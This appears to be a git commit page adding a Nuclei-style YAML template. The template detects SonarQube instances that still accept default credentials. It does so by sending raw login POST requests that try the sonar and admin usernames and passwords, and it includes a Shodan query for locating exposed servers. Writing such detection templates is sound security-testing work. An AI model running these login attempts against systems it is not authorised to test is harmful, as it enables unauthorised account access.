Merge pull request #7672 from dcruzec/main

sonarqube-default-credentials
patch-1
Dhiyaneshwaran 2023-07-12 10:55:09 +05:30 committed by GitHub
commit 37139b6856
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 45 additions and 0 deletions

View File

@ -0,0 +1,45 @@
id: sonarqube-default-login
info:
name: SonarQube Default Login - Detect
author: Ep1cSage
severity: high
description: |
SonarQube contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://docs.sonarsource.com/sonarqube/9.6/instance-administration/security/#:~:text=When%20installing%20SonarQube%2C%20a%20default,Password%3A%20admin
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 4
verified: true
shodan-query: title:"Sonarqube"
tags: default-login,sonarqube
http:
- raw:
- |
POST /api/authentication/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&password={{password}}
attack: clusterbomb
payloads:
username:
- sonar
- admin
password:
- sonar
- admin
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(body) == 0'
- 'contains(set_cookie, "JWT-SESSION=")'
condition: and